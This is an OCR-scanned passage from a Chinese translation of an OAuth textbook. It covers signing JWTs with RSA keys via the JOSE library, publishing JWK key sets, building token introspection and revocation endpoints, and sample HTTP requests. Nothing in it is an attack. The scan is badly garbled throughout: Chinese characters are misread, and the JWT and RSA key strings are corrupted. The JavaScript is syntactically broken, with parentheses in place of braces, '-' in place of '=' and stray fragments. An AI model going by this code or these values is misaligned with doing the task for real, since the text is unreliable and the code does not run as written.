服务 器 ， 它 的 密 钥 ID (kia) 是 authserver。 授权 服务 器 当前 可 能 只 有 一 个 密 钥 ,但 如 果 你 要 
在 密 钥 集 合 中 添加 其 他 密 钥 ， 应 该 让 资源 服务 器 能 够 知道 你 使 用 的 是 哪 一 个 。 





















































var header = ( 'typ': 'JWT', 'alg': rsaKey.alg, 'kid': rsaKey.kid ); 


接 下 来 ， 需 要 将 JWK 格式 的 密 钥 对 转换 成 JOSE 库 执 行 加 密 操 作 所 需 的 形式 。 恰 好 ，JOSE 
库 提供 了 一 个 简单 的 功能 函数 来 完成 此 任务 。" 然 后 可 以 使 用 该 密 钥 对 令 牌 签名 。 


var privateKey = jose.KEYUTIL.getKey (rsaKey); 
然后 ， 生 成 访问 令 牌 字符 串 ， 与 之 前 的 做 法 类 似 ， 只 不 过 这 一 次 使 用 的 是 私 铀 和 RS256 JE 
对 称 签 名 方法 。 


var access token = jose.jws.JWS.sign(header.alg, 
JSON.stringify (header), 
JSON.stringify (payload), 
privateKey); 














CD 其 他 库 和 其 他 平台 可 能 需要 使 用 JWK 的 不 同 部 分 来 创建 密 钥 对 象 。 



































164 第 11 3 OAuth 4J* 








得 到 的 令 牌 与 之 前 的 令 牌 相似 ， 只 不 过 签名 是 非 对 称 签名 。 


eyJ0eXAioiJKV1oiLCUhbGcioiJSUzI1NiISsSImLDPZCI6ImF1dGhzZXJ22ZXTITifo.eyJpc3MiOiJodH 
RwOi8vbG9jYWxob3N00jkwMDEvIiwic3ViljoiOVhFMyl1KSTMOLTAwMTMyOSIsImF1ZCI6ImhOd 
HA6Ly9sb2NhbGhvc3060TAwMi8iLCJpYXQiOj EONjcyNTE5NjksImVAcCIOMTQ2NZI1MjI2O0Swi 
anRpIjoidURYMWNwVnYifQ.nK-tYidfd6IHW8iwJ1ZHcPPnbDdbjnveunKrpOihEbO0JD5wf;jXoY 
jpToXKfaSFPdpgbhy4ocnRAfKfX6tOfJuFQpZpKmtFG80VtWpiOYIHA4Ecoh3soSkaQyIy4L6p80 
3gmgl9iyjLQj4B7Anfe6rwQlIQi79WTQwE9bd3tgqic5cPBFtPLqRJQluvjZerkSdUo7Kt8XdyG 
yfTAiyrsWoD1HOWGJm6IodTmSUOH7L08k-mGhUHmSkOgwGddrxLwLcMWWQ6ohmXaVv. Vf-9yTC2 
STHOKuuUm2w. cRE1sF7JryiO7aFRa8JGEOUff2moaEuLG88weOT S2kEQBhYBOvQ8A 


头 部 和 载荷 依然 是 Base6AURL 编码 的 JSON， 签 名 是 Base64URL 编码 的 字 节 数组 。 由 于 使 
用 了 RSA 算 法 ， 这 一 次 的 签名 更 长 了 。 


eyJOeXAiOiJKV1OiLCJhbGciOiJSUzIlNilsImtpZCI6ImFldGhzZXJ2ZXIlifQ 






































eyJpc3MiOiJodHRwOi8vbG9jYWxob3N00jkwMDEvIiwic3ViljoiOVhFMylKSTMOL 
TAwMTMyOQOSIsImF1ZCI6ImhO0dHA6Ly9sb2NhbGhvc3Q6OTAwMi8iLCJpYXOiOjE 
ONjcyNTESNjksImVA4cCIO6MTQ2NZzI1MjI20SwianRpIjoidURYMWNwVnYifQ 


nK-tYidfd61HW8iwJ1ZHcPPnbDdbjnveunKrpOihEbOJD5wfjXoYjpToXKfaSFPdpgbhy4ocnRAfK 
fX6tOfJuFQpZpKmtFG80VtWpiOYlHA4ECcoh3soSkaQyIy4L6p803gmgl9iyjLQj4B7Anfe6rwQlIl 
Qi79WTOwE9bd3tgqic5cPBFtPLqRJQluvjZerkSdUOo7Kt8XdyGyfTAiyrsWOD1HOWGJUm6IodTmS 
UOH7L08k-mGhUHmSkOgwGddrxLwLcMWWQ6ohmXaVv Vf-9yTC2STHOKuuUm2w cRE1sF7JryiO7 
aFRa8JGEOUff2moaEuLG88weOT S2kEQBhYBOvQO8A 


客户 端 再 一 次 保持 不 变 ， 但 我 们 需要 告诉 受 保 护 资源 如 何 验证 这 种 新 的 JWT 的 签名 。 请 打 
JF protectedResourcejs， 加 入 授权 服务 器 的 公 钥 。 同 样 ， 为 避免 你 重复 输入 复杂 的 密 钥 字 符 串 ， 
已 经 预先 将 它们 包含 在 代码 中 了 。 


var rsaKey = ( 
"alg" : "RS256" y 
"e": "AQAB", 
"n": "p8ePS5gL1H H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ115g COMm2 2i. 


YhONH8MJ nQ4exKMXrWJBAtyVZohovUxfw-eLgulXQ80oYcVYW8ym6Um-BkqwwWL6CXZ770X81 
YyIMrnsGTyTV6M8gBPun8g2L8KbDbXR11DfOOWiZ2sslCRLrmNM-GRp3Gj-ECG7 3Nx9n s5 
to2ZtwJ1GSi1maGjrSZ9GRAYLrHhndrL 8ie 9DS2T-ML7QNQtNkg2RvLv4f0dpjRYI23djxV 
tAylYK4oiT uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYCtRiOGOFZw", 

"key. "RSA"; 

"kid": "authserver" 


Is 


这 个 数据 结构 来 自 与 授权 服务 器 相同 的 密 钥 对 ， 只 不 过 它 不 包含 私 钥 信息 〈 在 RSA 密 钥 中 用 
d 元 素 表示 )。 这 样 做 的 效果 就 是 受 保护 资源 只 能 对 收 到 的 签名 令 牌 进行 验证 ， 而 不 能 创建 令 牌 。 

















除了 到 处 复制 密 钥 ， 还 有 其 他 办 法 吗 ? 
你 可 能 党 得 像 这 样 在 不 同 软件 之 间 复 制 用 于 签名 和 验证 签名 的 密 钥 太 过 烦琐 ， 的 确 如 此 。 
如 果 授 权 服 务 器 想 更 新 密 钥 , 则 所 有 的 下 游 受 保护 资源 上 的 密 钥 副 本 都 需要 更 新 。 对 于 大 型 的 
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OAuth 系统 来 说 ， 这 大 麻烦 了 。 
第 13 章 将 介绍 的 OpenID Connect 协议 使 用 了 一 个 常见 的 方法 ， 该 方法 可 以 让 授权 服务 器 


通过 一 个 已 知 的 URL 公布 它 的 公 钥 。 一 般 会 使 用 JWK 集合 的 格式 ,可 以 包含 多 个 密 钥 ,形式 


oa 


"alg": "RS256", 


"e": "AQAB", 
"n": "p8eP5gL1H H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ115g.. 


COMm2 2i. YhONH8MJ, nQ4exKMXrWJBAtyVZohovUxfw-eLgu1XQ80oYcVYW8ym6Um-BkqwwWL 
6CXZ70X81YyIMrnsGTyTV6M8gBPun8g2L8KbDbXR11DfOOWiZ2sslCRLrmNM-GRp3Gj-ECG7 
.3Nx9n, s5to2ZtwJ1GS1maGjrSZ9GRAYLrHhndrL 8ie 9DS2T-ML7QNQtNkg2RvLv4fO0dpj 
RYI23djxVtAylYK40iT uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYtRiOdOFZw", 
" kty " 1 " RSA" ; 
"kid": "authserver" 
} 
] 
} 
受 保护 资源 可 以 根据 需要 请 求 并 缓存 该 密 钥 。 通过 这 种 方法 , 授权 服务 器 可 以 根据 需要 随 
时 更 新 密 钥 ， 也 可 以 随时 添加 新 密 钥 ， 这 些 变化 可 以 自动 地 通过 网 络 传播 。 
作为 附加 练习 ， 请 修改 服务 器 ， 让 它 以 JWK 集合 的 格式 向 外 公布 其 公 钥 ， 并 修改 受 保 扩 
资源 ,让 它 能 根据 需要 通过 网 络 请 求 该 密 钥 。 需要 格外 注意 的 是 , 授权 服务 器 只 能 向 外 公布 其 
公 钥 ,而 不 能 将 私 钥 也 公布 了 。 


现在 ,使 用 JOSE 库 ， 基 于 服务 器 的 公 钥 验证 接收 到 的 令 牌 的 签名 。 先 将 公 钥 载 人 到 一 个 对 


























象 以 供 库 函 数 使 用 ， 然 后 使 用 它 验 证 签名 。 
var publicKey = jose.KEYUTIL.getKey (rsaKey); mn 
if (jose.jws.JWS.verify (inToken, 
publicKey, (批注 ) 之 前 的 所 有 令 牌 有 效 性 
[header.alg])) { 检查 都 要 放 入 该 if 语句 内 部 


) 

我 们 仍然 需要 使 用 未 签名 令 牌 时 所 执行 的 那些 检查 。 再 一 次 将 载荷 对 象 交 给 应 用 继续 处 理 ， 
应 用 会 根据 令 牌 内 容 判断 该 令 牌 是 否 满足 当前 请 求 。 现 在 ， 所 需 设置 已 经 就 绪 ,， 授权 服务 器 可 以 
在 令 牌 中 添加 供 受 保 护 资源 使 用 的 其 他 信息 ， 比 如 权限 范围 或 客户 端 标识 符 。 作 为 附加 练习 ,请 
使 用 你 自己 的 JWT 声 明 在 令 牌 中 添加 此 类 信息 ， 并 让 受 保护 资源 能 读 取 这 些 信息 。 


11.3.3 ”其 他 令 牌 保护 方法 
基于 JOSE 的 保护 令 牌 内 容 的 方法 ， 并 不 只 有 以 上 练习 中 所 使 用 的 这 几 种 。 比 如 ， 之 前 使 月 
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的 HS256 对 称 签名 方法 ,为 令 牌 内 容 计算 256 字 节 的 散 列 。JOSE 还 定义 了 HS384 和 HS512, 它 
们 计算 的 散 列 长 度 更 长 ， 从 而 换取 更 高 的 安全 性 。 同 样 ， 我 们 使 用 的 RS256 非 对 称 签名 方法 ， 
对 RSA 签名 结果 计算 256 字 节 的 散 列 。JOSE 同样 也 定义 了 RS384 和 RS512, 与 对 应 的 对 称 签名 
方法 一 样 ， 它 们 提供 不 同 的 折 中 选择 。JOSE 还 定义 了 PS256、PS384 和 PS512， 它 们 都 基于 另 一 
种 RSA 签名 和 散 列 机 制 。 

JOSE 也 支持 椭圆 曲线 算法 , 核心 标准 中 定义 了 ES256, ES384 和 ES512, 分 别 对 应 3 种 曲线 
和 散 列 函数 。 椭 圆 曲 线 密码 体制 与 RSA 密码 体制 相 比 有 几 个 优点 ， 包 括 更 小 的 签名 长 度 以 及 验 
证 时 更 低 的 处 理 开销 , 但 是 在 撰写 本 书 之 时 ,对 它 的 底层 密码 函数 的 支持 还 不 像 RSA 那么 普及 。 
除 此 之 外 ，JOSE 允许 新 的 规范 来 扩充 其 算法 列表 ， 当 有 新 的 算法 被 发 明 或 者 有 需求 时 ， 可 以 新 
增 定义 。 

然而 ， 有 时 候 仅 签名 是 不 够 的 。 对 于 仅 被 签名 的 令 牌 客户 端 还 是 可 以 偷 突 令 牌 本 身 ， 从 
中 获取 它 本 无 权 知道 的 信息 ， 比 如 sub 字段 中 的 用 户 标识 符 。 令 人 欣慰 的 是 ， 除 了 签名 之 外 ， 
JOSE 还 提供 了 一 个 叫 作 JWE 的 加 密 机 制 , 包含 几 种 不 同 的 选项 和 算法 。 经 过 JWE 加 密 的 JWT 
不 再 只 由 3 部 分 组 成 ， 而 是 由 5 部 分 组 成 的 结构 。 各 个 部 分 仍然 使 用 Base64URL 编码 ， 只 是 载 
荷 现 在 变 成 了 一 个 经 过 加 密 的 对 象 ， 没 有 正确 的 密 钥 无 法 读 取 其 内 容 。 由 于 内 容 较 多 ， 本 章 就 
不 讨论 JWE 的 处 理 流程 了 ,但 你 可 以 把 它 当 作 一 个 提高 练习 ， 为 令 牌 添加 JWE。 首 先 , 为 资源 
服务 器 设置 一 个 密 钥 对 ， 并 将 密 钥 对 中 的 公 钥 提供 给 授权 服务 器 。 然 后 ,使 用 JWE 以 及 密 钥 对 
中 的 公 钥 对 令 牌 内 容 加 密 。 最 后 ， 资 源 服 务 器 使 用 它 自 己 的 私 钥 解密 令 牌 内 容 ， 并 将 令 牌 载荷 
交 给 应 用 。 























































































































认识 COSE? 
有 一 个 新 出 现 的 标准 ， 叫 作 CBOR 对 象 签 名 与 加 密 (COSE )。 它 的 功能 与 JOSE 很 相 
似 ， 不 过 它 的 数据 序列 化 是 基于 简明 二 进 制 对 象 表示 法 (CBOR ) 的 。 顾名思义 ，CBOR 是 
一 种 非 人 类 可 读 的 二 进 制 格式 ， 专 门 为 重视 空间 表现 的 环境 而 设计 。 它 的 底层 数据 模型 基 
于 JSON， 用 JSON 表示 的 任何 内 容 都 能 够 很 容易 地 转换 成 CBOR。COSE 规范 的 目标 是 提 
供与 JOSE 相同 的 功能 ， 这 意味 着 在 不 久 的 将 来 ， 它 可 能 成 为 用 于 压缩 类 JWT 令 牌 的 一 个 
可 行 方案 。 


11.4 ”在线 获取 令 牌 信息 : 令 牌 内 省 
将 令 牌 信息 打包 放 入 令 牌 本 身 也 有 其 不 足 之 处 。 为 了 包含 所 有 必要 的 声明 以 及 保护 这 些 声 明 


所 需 的 密码 结构 , 令 牌 尺寸 会 变 得 非常 大 。 而 且 ， 如 果 受 保护 资源 完全 依赖 令 牌 本 身 所 包含 的 信 
息 ， 则 一 旦 将 有 效 的 令 牌 生成 并 发 布 ， 想 要 撤回 会 非常 困难 。 











DRE “cozy”, Æ “a cozy couch”( 一 张 舒适 的 沙发 ) 中 的 发 音 一 样 。 
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11.4.1 内 省 协议 


OAuth 令 牌 内 省 协议 定义 了 一 种 机 制 ， 让 受 保护 资源 能 够 主动 向 授权 服务 器 查询 令 牌 状态 。 
由 于 令 牌 是 由 授权 服务 器 创建 的 ， 因 此 它 对 令 牌 所 代表 的 授权 细节 最 清楚 。 

该 协议 是 对 OAuth 的 一 个 简单 增强 。 授 权 服 务 器 向 客户 端 颁发 令 牌 ， 客 户 端 向 受 保护 资源 
出 示 令 牌 ， 受 保护 资源 则 向 授权 服务 器 查询 令 牌 状态 (如 图 11-2 所 示 )。 























资源 拥有 者 





我 们 该 如 何 让 这 两 个 组 件 通信 ? 





客户 端 受 保护 资源 
图 11-2 ”让 受 保护 资源 与 授权 服务 器 连接 


内 省 请 求 是 发 送 给 授权 服务 器 内 省 端点 的 表单 形式 的 HITP 请 求 , 相当 于 受 保护 资源 向 授权 
服务 器 询问 :“ 有 人 向 我 出 示 了 这 个 令 牌 , 它 是 否 有 效 ? ” 受 保护 资源 在 请 求 过 程 中 需要 向 授权 
服务 器 进行 身份 认证 ， 以 便 授权 服务 器 知道 是 谁 在 询问 ， 并 可 能 根据 询问 者 的 身份 返回 不 同 的 
响应 。 内 省 协议 只 是 要 求 受 保护 资源 进行 身份 认证 ， 并 未 规定 如 何 认证 。 在 我 们 的 示例 中 ， 受 
保护 资源 使 用 ID 和 密码 通过 HTTP Basic 进行 身份 认证 ， 这 与 OAuth 客户 端 向 令 牌 端点 进行 身 
份 认 证 的 方式 一 样 。 也 可 以 使 用 单独 的 访问 令 牌 完成 此 过 程 ，UMA 协议 就 是 这 样 做 的 ， 我 们 将 
在 第 14 章 讨论 。 

POST /introspect HTTP/1.1 

Host: localhost:9001 

Accept: application/json 

Content-type: application/x-www-form-encoded 


Authorization: Basic 
cHJvdGVjaGVkLXJ1c291cmNILTE6cHJvdGVjdGVkLXJ1c291cmN1LXN1Y3J1dCOx 







































































token-987tghjkiu6trfghjuytrghj 
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内 省 请 求 的 响应 是 一 个 JSON 对 象 ， 用 于 描述 令 牌 信息 。 它 的 内 容 与 JWT 的 载荷 相似 ， 任 
何 有 效 的 JWT 声 明 都 可 以 包含 在 响应 中 。 


HTTP 200 OK 
Content-type: application/json 


{ 
"active": true, 
"SCope": "foo bar baz", 
"client id": "oauth-client-1", 
"username": "alice", 
"iss": "http://localhost:9001/", 
"sub": "alice", 
"aud": "http://localhost:/9002/", 
"iat": 1440538696, 
"exp": 1440538996, 

} 


内 省 协议 规范 还 在 JWT 的 基础 上 增加 了 几 个 声明 定义 ， 其 中 最 重要 的 是 active 声明 。 此 
声明 告诉 受 保护 资源 当前 令 牌 在 授权 服务 器 上 是 否 有 效 , 且 是 唯一 必须 返回 的 声明 。 由 于 OAuth 
令 牌 有 多 种 部 署 的 类 型 ， 对 有 效 令 牌 的 定义 没有 唯一 标准 。 但 是 一 般 情 况 下 , 它 的 含义 为 令 牌 是 
该 授权 服务 器 颁发 的 ， 还 没有 过 期 ， 也 没有 被 撤回 ， 而 且 人 允许 当前 受 保护 资源 获取 它 的 信息 。 
不 过 ， 有 趣 的 是 ， 这 条 信息 不 应 该 是 令 牌 本 身 包 含 的 内 容 ， 因 为 令 牌 不 会 声明 自己 是 无 效 的 。 

内 省 响应 还 可 以 包含 令 牌 的 权限 范围 ， 和 在 最 初 的 OAuth 请 求 中 一 样 ， 形 式 为 以 空格 分 隔 
的 范围 字符 串 列 表 。 第 4 章 已 经 提 到 , 令 牌 权 限 范围 可 以 让 资源 拥有 者 将 受 保护 资源 的 访问 权限 
以 更 细 粒 度 的 方式 授予 客户 端 。 最 后 ,客户 端 和 用 户 的 信息 也 可 以 包含 其 中 。 所 有 这 些 信息 提供 
了 充足 的 数据 ， 让 受 保护 资源 得 以 做 出 最 终 的 授权 决策 。 

使 用 令 牌 内 省 会 导致 OAuth 系统 内 的 网 络 流量 增加 。 为 了 解决 这 个 问题 ， 允 许 受 保护 资源 
缓存 给 定 令 牌 的 内 省 请 求 结果 。 建议 设置 短 于 令 牌 生命 周期 的 缓存 有 效 期 , 以 便 降 低 令 牌 被 撤回 
但 缓存 还 有 效 的 可 能 性 。 


11.4.2 ”构建 内 省 端点 


现在 ， 要 在 应 用 中 加 入 令 牌 内 省 的 功能 。 请 打开 ch-11-ex-4 目录 ,编辑 authorizationServerjs 
文件 , 在 该 文件 中 构建 内 省 端点 。 首 先 ， 要 为 受 保护 资源 添加 凭据 ， 让 它 能 够 在 内 省 端点 上 进行 
身份 认证 


Var protectedResources = | 


{ 

















































































































O 


"resource id": "protected-resource-1", 
"resource secret": "protected-resource-secret-]1" 
j 
] . 


我 们 有 意 将 该 数据 模型 与 用 于 客户 端 身份 认证 的 凭据 分 开 , 这 是 令 牌 内 省 规范 为 受 保护 资源 
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身份 认证 提供 的 默认 选项 之 一 。 我 们 已 经 提供 了 一 个 gecProtectedResource IRZX, 55598 5 
章 创建 的 getclient 函数 相对 应 。 





Var getProtectedResource = function(resourceId) { 
return .find(protectedResources, function(protectedResource) ( return 


protectedResource.resource id == resourceld; Jj); 
E; 


我 们 会 在 授权 服务 器 上 将 内 省 端点 设置 为 /introspect， 并 监听 POST 请求。 
app.post('/introspect', function(req, res) ( 
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受 保护 资源 会 使 用 HTTP 基本 认证 和 一 个 共享 密 钥 来 进行 身份 认证 ， 因 此 需要 在 
Authorization 头 部 字段 获取 凭据 。 客 户 端 在 令 牌 端点 上 的 认证 也 是 这 样 做 的 。 





var auth = req.headers['authorization']; 

var resourceCredentials - decodeClientCredentials (auth); 
var resourceId - resourceCredentials.id; 

var resourceSecret - resourceCredentials.secret; 


获取 凭据 之 后 ， 需 要 使 用 辅助 函数 来 检查 密 钥 是 否 匹 配 。 








var resource = getProtectedResource(resourceId); 
if (!resource) ( 
res.status(401).end(); 
return; 
} 
if (resource.resource secret !- resourceSecret) { 
res.status(401).end(); 
return; 











| CEE 
现在 , 需要 向 数据 库 查 询 令 牌 。 如 果 找 到 令 牌 , 则 需要 将 令 牌 的 所 有 信息 添加 到 请 求 响应 中 ， 
并 以 JSON 对 象 返回 。 如 果 没 有 找到 令 牌 ， 则 应 该 只 返回 令 牌 无 效 的 通知 。 





Var inToken = req.body.token; 
nosql.one(function(token) ( 
if (token.access token == inToken) { 
return token; 
} 
), function(err, token) ( 
if (token) ( 


var introspectionResponse = { 
active: true, 
iss: 'http://localhost:9001/', 
aud: 'http://localhost:9002/', 
Sub: token.user ? token.user.sub : undefined, 
username: token.user ? token.user.preferred username : undefined, 
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Scope: token.scope ? token.scope.join(' ') : undefined, 
client id: token.client id 


js 


res.status(200).json(introspectionResponse); 
return; 
) else { 
var introspectionResponse = { 
active: false 
res.status(200).json(introspectionResponse); 
return; 
j 
H3 
出 于 安全 考虑 ， 不 应 该 告诉 受 保 护 资源 令 牌 无 效 的 确切 原因 一 一 是 否 已 过 期 、 已 被 撤回 ， 或 者 
从 来 未 被 颁发 过 ， 而 是 仅 告知 令 牌 无 效 。 和 否则 ， 一 个 被 攻陷 的 受 保护 资源 可 能 被 攻击 者 用 于 在 授权 
服务 器 上 搜寻 令 牌 信息 。 而 对 于 合法 的 请 求 ， 令 牌 无 效 的 原因 其 实 无 关 紧要 ， 只 要 知道 无 效 即 可 。 
以 上 内 容 综合 起 来 ， 内 省 端点 的 代码 如 附录 B 中 的 代码 清单 11 所 示 。 内 省 端点 也 应 该 能 够 


用 于 查询 刷新 令 牌 ， 但 这 一 附加 功能 将 作为 练习 留 给 读者 去 实现 。 


11.4.3 ”发 起 令 牌 内 省 请 求 


既然 内 省 端点 已 经 构建 完成 ,我 们 需要 修改 受 保护 资源 ,让 它 向 该 端点 发 起 请 求 。 我 们 会 继 
续 上 一 节 的 练习 Cch-11-ex-4 目录 )， 但 这 一 次 要 编辑 的 文件 是 protectedResource.js。 首 先 ， 要 设 
置 受 保护 资源 的 ID ARH, BER 5 章 的 客户 端 中 所 做 的 那样 。 
























































var protectedResource = { 
"resource id": "protected-resource-1", 
"resource secret": "protected-resource-secret-1" 


} r 

接 下 来 , TE getAccessToken 函数 中 调用 内 省 端点 。 这 是 一 个 简单 的 HTTP POST 请 求 , 将 
上 面 的 ID 和 密 钥 作为 HTTP Basic 认证 参数 ,将 客户 端 发 送 过 来 的 令 牌 值 作为 表单 参数 发 送 过 去 。 

var form data - qs.stringify(( 


token: inToken 


)); 


var headers = { 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' + encodeClientCredentials (protectedResource 


.resource id, protectedResource.resource secret) 


m 


var tokRes = request('POST', authServer.introspectionEndpoint, { 
body: form data, 
headers: headers 


Hy 
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最 后 ， 得 到 内 省 端点 的 响应 并 从 中 解析 出 JSON 对 象 。 如 果 返 回 的 active 声明 为 true， 
则 将 内 省 调用 的 结果 交 给 应 用 继续 处 理 。 


if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) { 
var body = JSON.parse(tokRes.getBody()); 











console.log('Got introspection response', body); 
var active - body.active; 
if (active) ( 
req.access token - body; 
} 
} 


到 这 里 ， 受 保护 资源 的 服务 函数 会 决定 该 令 牌 是 否 适用 于 当前 请 求 。 
11.4.4 将 内 省 与 JWT 结合 


本 章 呈 现 了 两 种 用 于 授权 服务 器 和 受 保 护 资源 之 间 传 递 信息 的 方法 : 结构 化 令 牌 ( 具体 来 说 
就 是 JWT) 和 令 牌 内 省 。 看 起 来 这 两 种 方法 需要 二 选 一 ， 但 实际 上 ， 将 它们 结合 起 来 使 用 也 可 
以 得 到 很 好 的 效果 。 

JWT 可 用 于 携带 基本 信息 ， 比 如 有 效 期 、 唯 一 标识 符 、 颁 发 者 。 这些 信 息 是 每 个 受 保护 资源 
对 令 牌 进行 初步 的 可 信和 检查 时 所 需 的 。 初步 检查 过 后 , 受 保护 资源 可 以 执行 令 牌 内 省 来 获取 更 详 
细 (也 可 能 更 敏感 ) 的 令 牌 信息 ， 比 如 提供 授权 的 用 户 、 被 颁发 令 牌 的 客户 端 、 令 牌 所 关联 的 权 
限 范围 。 

这 种 方法 在 受 保护 资源 要 接受 来 自 多 个 授权 服务 右 的 令 牌 的 情况 下 特别 有 用 。 受 保护 资源 可 
以 先 解析 JWT， 弄 清楚 令 牌 颁发 自 哪 一 个 授权 服务 器 ， 然 后 向 对 应 的 授权 服务 髓 发 送 内 省 请 求 
以 获取 详细 信息 。 























令 牌 状态 

对 于 OAuth 客户 端 来 说 ， 它 的 令 牌 是 否 被 另 一 方 撤回 并 不 重要 ， 因 为 它 需 要 随时 准备 去 
获取 新 的 令 牌 。 OAuth 协议 对 令 牌 被 撤回 、 过 期 或 者 无 效 的 错误 响应 并 不 加 以 区 分 ， 因 为 客户 
端 得 到 的 响应 总 是 相同 的 。 

然而 ， 对 于 受 保 护 资源 来 说 ， 确 定 令 牌 是 否 被 撤回 则 非常 重要 。 接 受 被 撤回 的 令 牌 会 是 一 
个 巨大 的 安全 漏洞 , 这 总 归 不 是 什么 好 事 。 如 果 受 保护 资源 使 用 本 地 数据 库 查 询 或 者 进行 像 令 
牌 内 省 这 样 的 实时 查询 ， 则 可 以 轻易 地 发 现 令 牌 已 被 撤回 。 但 是 如 果 使 用 的 是 JWT， 又 该 怎 
么 办 呢 ? 

由 于 JWT 是 信息 独立 的 ， 可 以 将 它 看 作 无 状态 。 如 果 不 借助 外 部 信号 ， 无 法 通知 受 保护 
资源 JWT 已 被 撤回 。 基 于 证 书 的 公 负 基础 设施 (PKI ) 也 存在 相同 的 问题 ， 只 要 所 有 的 签名 都 
匹配 ， 则 认为 证 书 有 效 。 使 用 证 书 撤回 列表 和 在 线 证 书 状态 协议 (OCSP ) 可 以 解决 这 个 关于 
撤回 的 问题 ， 它 相当 于 OAuth 世界 里 的 令 牌 内 省 。 
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11.5 “支持 令 牌 撤回 的 令 牌 生命 周期 管理 


OAnuth 令 牌 通常 遵循 一 个 可 预测 的 生命 周期 。 令 牌 由 授权 服务 器 创建 ， 由 客户 端 使 用 ,并 由 
受 保 护 资源 验证 。 它 们 可 能 会 自行 失效 ， 也 可 能 被 资源 拥有 者 ( 或 者 管理 员 ) 从 授权 服务 器 上 撤 
回 。 如 我 们 所 见 ，OAuth 核心 规范 提供 了 各 种 获取 和 使 用 令 牌 的 机 制 。 刷 新 令 牌 甚至 可 以 让 客户 
端 请 求 新 的 访问 令 牌 来 蔡 换 无 效 的 令 牌 。11.2 节 和 11.4 节 分 别 介绍 了 如 何 使 用 JWT 和 令 牌 内 省 
来 帮助 受 保护 资源 验证 令 牌 。 然 而 有 时 候 ， 客 户 端 知道 自己 不 再 需要 令 牌 了 。 这 个 时 候 是 否 只 能 
等 着 令 牌 过 期 ， 或 者 有 人 将 令 牌 撤回 ? 

到 目前 为 止 ， 我 们 还 不 知道 有 什么 机 制 能 够 让 客户 端 通知 授权 服务 器 将 本 来 有 效 的 令 牌 撤 
回 ， 而 OAuth 令 牌 撤回 规范 " 正 是 关于 此 问题 的 。 该 规范 让 客户 端 能 够 根据 它 这 一 边 发 生 的 事件 
来 主动 地 管理 令 牌 生命 周期 。 比 如 ,客户 端 可 能 是 一 个 要 从 用 户 设 备 上 和 镍 载 的 原生 应 用 , 或 者 客 
户 端 给 用 户 提 供 了 撤销 授权 的 操作 界面 。 其 至 可 能 是 这 样 : 客户 端 发 现存 在 可 疑 行为 , 并且 希望 
降低 对 已 授权 的 受 保护 资源 的 损害 。 无 论 是 哪 种 情况 , 令 牌 撤 回 规范 让 客户 端 可 以 向 授权 服务 器 
发 出 信号 ， 告 知 授权 服务 器 之 前 颁发 的 令 牌 不 能 再 被 使 用 。 


11.5.1 令 牌 撤回 协议 


OAuth 令 牌 撤回 是 一 个 简单 的 协议 ， 它 让 客户 端 可 以 很 简洁 地 告诉 授权 服务 器 :“ 我 持 有 这 
个 令 牌 ， 并 希望 你 将 它 撤销 。 与 11.4 节 介绍 的 令 牌 内 省 非常 相似 ， 客 户 端 需要 向 一 个 专门 的 撤 
回 端点 发 送 附带 身份 认证 的 HTTP POST 请 求 ， 并 将 要 撤回 的 令 牌 作为 表单 参数 放 入 请 求 主体 。 


POST /revoke HTTP/1.1 

Host: localhost:9001 

Accept: application/json 

Content-type: application/x-www-form-encoded 

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXN1Y3Jl1dCOx 





































































































token-987tghjkiu6trfghjuytrghj 


客户 端 身份 认证 时 使 用 的 凭据 与 在 令 牌 端点 上 使 用 的 凭据 相同 。 授 权 服 务 器 会 查询 令 牌 值 ， 
如 果 找 到 令 牌 ， 会 将 它 从 存储 令 牌 的 地 方 删除 ， 并 返回 响应 告知 客户 端 删除 成 功 。 


HTTP 201 No Content 


就 是 如 此 简单 。 然 后 客户 端 丢 弃 自 己 的 令 牌 副本 ， 继 续 其 他 工作 。 

如 果 授 权 服 务 器 未 找到 令 牌 ,或 者 不 允许 出 示 令 牌 的 客户 端 撤回 该 令 牌 , 授权 服务 器 还 是 会 
返回 操作 成 功 。 在 这 些 情况 下 为 什么 不 返回 错误 呢 ? 这 是 因为 ,如 果 这 样 做 了 ， 可 能 会 无 意 中 癌 
客户 端 透 露 本 不 属于 它 的 令 牌 信息 。 例如, 假设 有 一 个 客户 端 尝试 撤回 男 一 个 客户 端的 令 牌 , 我 
们 给 它 返回 了 HTTP 403 Forbidden 响应 。 在 这 种 情况 下 ,我 们 可 能 并 不 想 撤 回 那 个 令 牌 ， 因 为 这 


















































(D RFC 7009: https://tools.ietf.org/html/rfc 7009, 


11.5 支持 令 牌 撤回 的 令 牌 生命 周期 管理 173 





会 对 其 他 客户 端 造成 拒绝 服务 攻击 。 然而， 无 论 如 何 ， 我 们 也 不 想 告诉 客户 端 它 所 持 有 的 令 牌 
是 有 效 的 ,而且 可 以 用 在 别处 。 为 了 防止 这 些 信息 泄露 , 我 们 每 次 都 假装 成 功 撤回 了 令 牌 。 H 
良性 的 客户 端 来 说 ,这 样 做 不 会 影响 功能 ， 而 对 于 恶意 客户 端 , 我 们 也 并 没有 透露 任何 不 想 透 

的 信息 。 当然, 若 客户 端 身 份 认证 错误 , 还 是 要 返回 合理 的 响应 , 就 像 在 令 牌 端点 [所 做 的 那样 


11.5.2 ”实现 令 牌 撤回 端点 


现在 为 授权 服务 器 添加 令 牌 撤回 功能 。 请 打开 ch-ll-ex-5 目录 ,编辑 authorizationServerjs 
文件 。 在 授权 服务 器 上 将 撤回 端点 设置 为 /revoke， 并 监听 HTTP POST 请求。 可 以 将 令 牌 端点 
上 的 客户 端 身 份 认证 代码 直接 搬 过 来 。 


app.post('/revoke', function(req, res) ( 
var auth - req.headers['authorization']; 
if (auth) ( 
var clientCredentials - decodeClientCredentials (auth); 
var clientId = clientCredentials.id; 
var clientSecret - clientCredentials.secret; 


























) 


if (req.body.client id) ( 
if (clientid) ( 
res.status(401).json((error: 'invalid client')); 
return; 


) 


var clientId - req.body.client id; 
var clientSecret - req.body.client secret; 


) 


var client = getClient(clientId); 
if (!client) ( 
res.status(401).json((error: 'invalid client')); 


return; 

) 

if (client.client secret !- clientSecret) ( 
res.status(401).json((error: 'invalid client')); 
